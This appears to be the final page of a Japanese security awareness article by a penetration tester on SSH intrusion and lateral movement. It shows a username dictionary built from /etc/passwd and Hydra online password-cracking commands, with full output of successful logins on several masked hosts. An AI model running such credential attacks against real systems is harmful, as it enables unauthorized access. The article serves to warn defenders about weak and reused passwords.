リアリティはないけど、脅威は確かにいるよ:セキュリティ・ダークナイト(5)(5/5 ページ)
ちょっと遅れてやってきた夏休みの宿題は、ハニーポットを用いた侵入手法の観察日記。狙われやすいパスワードが明らかに!(編集部)
芋づる式にほかのホストへ侵入
さて、検査結果は「ホストBでは、SSH経由にて、ユーザー名:oracle、パスワード:oracleで侵入可能でした。パスワードを強固なものに変更してください」のみだろうか。検査はここで終了だろうか。
残念ながら、そうではない。
この時点では、「ホストB」の一般ユーザー権限を奪取したに過ぎない。そこで次に、管理者権限を奪取するために権限昇格を試みる。具体的には、ローカルバッファオーバーフローや「su」コマンドを用いるのである。
検査によっては、ここで全権掌握に成功する場合も少なくない。特に、リモートからrootログインを制限しているようなホストの場合、「password」などといった安易なパスワードが設定されている場合も少なくない。
しかしここでは、条件付きの別の点に注目したい。条件というのは、さまざまな手段を尽くしても、root権限を奪取できない状況下に置かれた場合だ。だがそのような場合でも検査終了とはならない。奪取できた権限をうまく利用して、さらなる侵入を試みるのである。
しかし、root権限を奪取しているわけではないため「/etc/shadow」から「John The Ripper」を用いてシステム内のユーザーのパスワードを解析することはできない、それでは、さらなる侵入を試みるためにとるべき行動は何だろうか。
一般ユーザーでも読み取ることができる「/etc/passwd」を利用するのである。
root:x:0:1:Super-User:/:/sbin/sh ndsuser:x:1001:10::/export/home/ndsuser:/bin/csh oracle:x:1002:101::/export/home/oracle:/bin/csh jp1:x:1003:101::/export/home/jp1:/bin/csh weblogic:x:1005:101::/export/home/weblogic:/bin/csh pentest:x:1006:101::/export/home/pentest:/bin/csh toppper:x:1007:101::/export/home/topper:/bin/csh snowwind:x:1007:101::/export/home/snowwind:/bin/csh oda1979:x:1009:101::/export/home/oda1979:/bin/csh
基本的に「/etc/passwd」には、一般ユーザーにも読み取り権限が与えられている。「/etc/shadow」のようにハッシュ化されたパスワードは含まれないが、これを参照すれば、システム内に存在するユーザー名を知ることは可能だ。そこで、この情報を基に「dict02」という名前の辞書ファイルを下記のように作成して、再度オンラインパスワードクラックを試みる。
ndsuser
jp1
weblogic
pentest
toppper
snowwind
oda1979
hydra -L dict02 -e ns BBB.BBB.BBB.BBB ssh2Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-08-22 01:33:45 [DATA] 1 tasks, 1 servers, 14 login tries (l:7/p:2), ~14 tries per task [DATA] attacking service ssh2 on port 22 [22][ssh2] host: BBB.BBB.BBB.BBB login: ndsuser password: ndsuser [22][ssh2] host: BBB.BBB.BBB.BBB login: jp1 password: jp1 [22][ssh2] host: BBB.BBB.BBB.BBB login: weblogic password: weblogic [22][ssh2] host: BBB.BBB.BBB.BBB login: pentest password: pentest [22][ssh2] host: BBB.BBB.BBB.BBB login: topper password: topper [22][ssh2] host: BBB.BBB.BBB.BBB login: snowwind password: snowwind [22][ssh2] host: BBB.BBB.BBB.BBB login: oda1979 password: oda1979 [STATUS] 14.00 tries/min, 14 tries in 00:01h, 0 todo in 00:01h [STATUS] attack finished for BBB.BBB.BBB.BBB (waiting for childs to finish)
すると、oracle以外の一般ユーザーのパスワードクラックにあっさり成功した。これで「ホストB」に関してはrootユーザー以外はすべて掌握したと言える。
しかし、これでもまだ検査は終わらない。
セキュリティ上望ましくないことではあるが、複数のホストで同一のアカウントを使い回しているケースは少なくない。読者の中にもドキっとした方がいらっしゃるのではないだろうか。
検査をしていると、アカウントの使い回しをしている場合、パスワードも同一ということが多いように見受けられる。ここから推測して、【ホストB】から取得した「/etc/passwd/」を基に作成した辞書ファイルを用いて【ホストA】【ホストC】へもオンラインパスワードクラックを試みる。
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-08-22 01:58:28 [DATA] 1 tasks, 1 servers, 14 login tries (l:7/p:2), ~14 tries per task [DATA] attacking service ssh2 on port 22 [22][ssh2] host: AAA.AAA.AAA.AAA login: ndsuser password: ndsuser [22][ssh2] host: AAA.AAA.AAA.AAA login: topper password: topper [22][ssh2] host: AAA.AAA.AAA.AAA login: snowwind password: snowwind [22][ssh2] host: AAA.AAA.AAA.AAA login: oda1979 password: oda1979 [STATUS] 14.00 tries/min, 14 tries in 00:01h, 0 todo in 00:01h [STATUS] attack finished for AAA.AAA.AAA.AAA (waiting for childs to finish)
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-08-22 01:58:28 [DATA] 1 tasks, 1 servers, 14 login tries (l:7/p:2), ~14 tries per task [DATA] attacking service ssh2 on port 22 [22][ssh2] host: CCC.CCC.CCC.CCC login: ndsuser password: ndsuser [22][ssh2] host: CCC.CCC.CCC.CCC login: snowwind password: snowwind [22][ssh2] host: CCC.CCC.CCC.CCC login: oda1979 password: oda1979 [STATUS] 14.00 tries/min, 14 tries in 00:01h, 0 todo in 00:01h [STATUS] attack finished for CCC.CCC.CCC.CCC (waiting for childs to finish)
上記のように、【ホストB】から得た「/etc/passwd」を基に作成した辞書を用いることによって、芋蔓式にほかのホストへの侵入成功につなげることができた。この後は、同じようにさらなる侵入へとつなげるよう、得られた情報を最大限に活用していくのである。
1つの開放ポートからの推測が複数台のホストへの侵入につながる典型的な例である。
「ああ、またか」ではなく
今回の記事では、ハニーポットに残されたログを基に、頻繁に注意喚起されているSSHへの侵入プロセスを垣間見てきた。ここでは例として「Kojoney」というハニーポットを用いて、SSHを狙う攻撃を取り上げてみた。だがこういった形の侵入の試みは、パスワードを利用した認証を行っているシステムすべてを対象に行われていると認識していただいても間違いないだろう。
芋づる式に次々にパスワードを掌握していくペネトレーションテストの話も、残念ながら決してレアケースではない。しかもこれはペネトレーションテストの場だけでなく、現実の攻撃者によっても行われている。
この記事を機に、ぜひこうした現状に目を向けてほしい。そして、イソップ物語の「オオカミ少年」の話のようにさまざまな注意喚起を「ああ、またか」と受け流すのではなく、定期的に気を引き締めるきっかけとなれば幸いである。
筆者紹介
辻 伸弘(つじ のぶひろ)
セキュリティエンジニアとして、主にペネトレーション検査などに従事している。
民間企業、官公庁問わず多くの検査実績を持つ。
自宅では、趣味としてのハニーポットの運用、IDSによる監視などを行っている。
▼辻氏のブログ「(n)」: http://n.pentest.jp/
▼辻氏のTwitter: http://twitter.com/ntsuji
Copyright © ITmedia, Inc. All Rights Reserved.